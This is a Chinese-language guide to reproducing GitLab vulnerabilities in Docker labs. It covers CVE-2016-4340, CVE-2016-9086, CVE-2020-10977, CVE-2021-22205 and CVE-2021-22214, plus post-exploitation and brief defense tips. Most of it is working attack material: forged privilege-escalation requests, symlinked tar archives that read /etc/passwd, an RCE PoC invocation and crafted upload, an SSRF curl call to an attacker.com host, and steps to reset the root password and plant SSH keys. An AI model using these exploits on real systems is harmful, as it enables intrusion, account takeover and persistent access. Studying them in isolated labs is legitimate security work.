Gitlab常见漏洞复现及后利用
字数 1409 2025-08-26 22:11:29
GitLab常见漏洞复现及后利用技术手册
1. GitLab版本检测方法
命令行检测
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
Web页面检测
访问以下URL查看版本信息:
http://ip/help
2. CVE-2016-4340 - 权限提升漏洞
影响版本
- Gitlab 8.7.0
- Gitlab 8.6.0-8.6.7
- Gitlab 8.5.0-8.5.11
- Gitlab 8.4.0-8.4.9
- Gitlab 8.3.0-8.3.8
- Gitlab 8.2.0-8.2.4
环境搭建
docker pull gitlab/gitlab-ce:8.7.0-ce.0
docker run -d -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:8.7.0-ce.0
漏洞复现步骤
- 创建普通用户并登录
- 新建项目并抓包获取
authenticity_token值 - 构造POST请求:
POST /admin/users/stop_impersonation?id=root HTTP/1.1
...
_method=delete&authenticity_token=获取的token值
3. CVE-2016-9086 - 任意文件读取漏洞
影响版本
- GitLab CE/EE versions 8.9、8.10、8.11、8.12 和8.13
环境搭建
docker-compose up -d
漏洞复现方法
- 注册并登录账户
- 创建包含软链接的恶意压缩包:
ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./
- 在"新建项目"页面选择"GitLab导出"并上传恶意包
高级利用
修改project.json为软链接可读取完整文件内容:
ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./
4. CVE-2020-10977 - 任意文件读取漏洞
影响版本
- 8.5 <= GitLab GitLab CE/EE <=12.9
环境搭建
docker run --detach --hostname 192.168.235.129 --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab --restart always --volume /root/config:/etc/gitlab --volume /root/logs:/var/log/gitlab --volume /root/data:/var/opt/gitlab gitlab/gitlab-ee:12.1.6-ee.0
漏洞复现步骤
- 创建两个项目
- 在project1中创建issues,内容为:
- 将issues移动到project2中
- 点击链接下载文件
5. CVE-2021-22205 - 远程命令执行漏洞
影响版本
- 11.9 <= Gitlab CE/EE < 13.8.8
- 13.9 <= Gitlab CE/EE < 13.9.6
- 13.10 <= Gitlab CE/EE < 13.10.3
环境搭建
docker-compose up -d
漏洞复现方法
- 使用PoC脚本执行命令:
python poc.py http://your-ip:8080 "touch /tmp/success"
- 手动构造请求:
POST /uploads/user HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: {{csrf-token}}
------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
AT&TFORM...
后利用技术
方法一:提权
- 查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
- 检查是否存在Polkit漏洞(CVE-2021-4034)
方法二:重置管理员密码
- 进入GitLab控制台:
gitlab-rails console -e production
- 修改root用户密码:
user = User.where(id: 1).first
user.password = 'newpassword'
user.password_confirmation = 'newpassword'
user.save
方法三:SSH免密登录
- 检查git用户是否可登录:
cat /etc/passwd | grep git
- 添加SSH公钥实现免密登录
6. CVE-2021-22214 - SSRF漏洞
影响版本
- 10.5 <= GitLab < 13.10.5
- 13.11 <= GitLab < 13.11.5
- 13.12 <= GitLab <= 13.12.2
漏洞复现POC
curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{
"include_merged_yaml": true,
"content":"include:\n remote: http://attacker.com/api/v1/targets/?test.yml"
}'
7. CVE-2022-2185 - 项目导入RCE漏洞
详情参考:
https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/
防御建议
- 及时更新GitLab到最新版本
- 限制不必要的网络访问
- 实施严格的权限控制
- 定期审计系统日志
- 使用Web应用防火墙(WAF)
参考链接
- https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/
- https://hackerone.com/reports/178152
- http://paper.seebug.org/104/
- https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/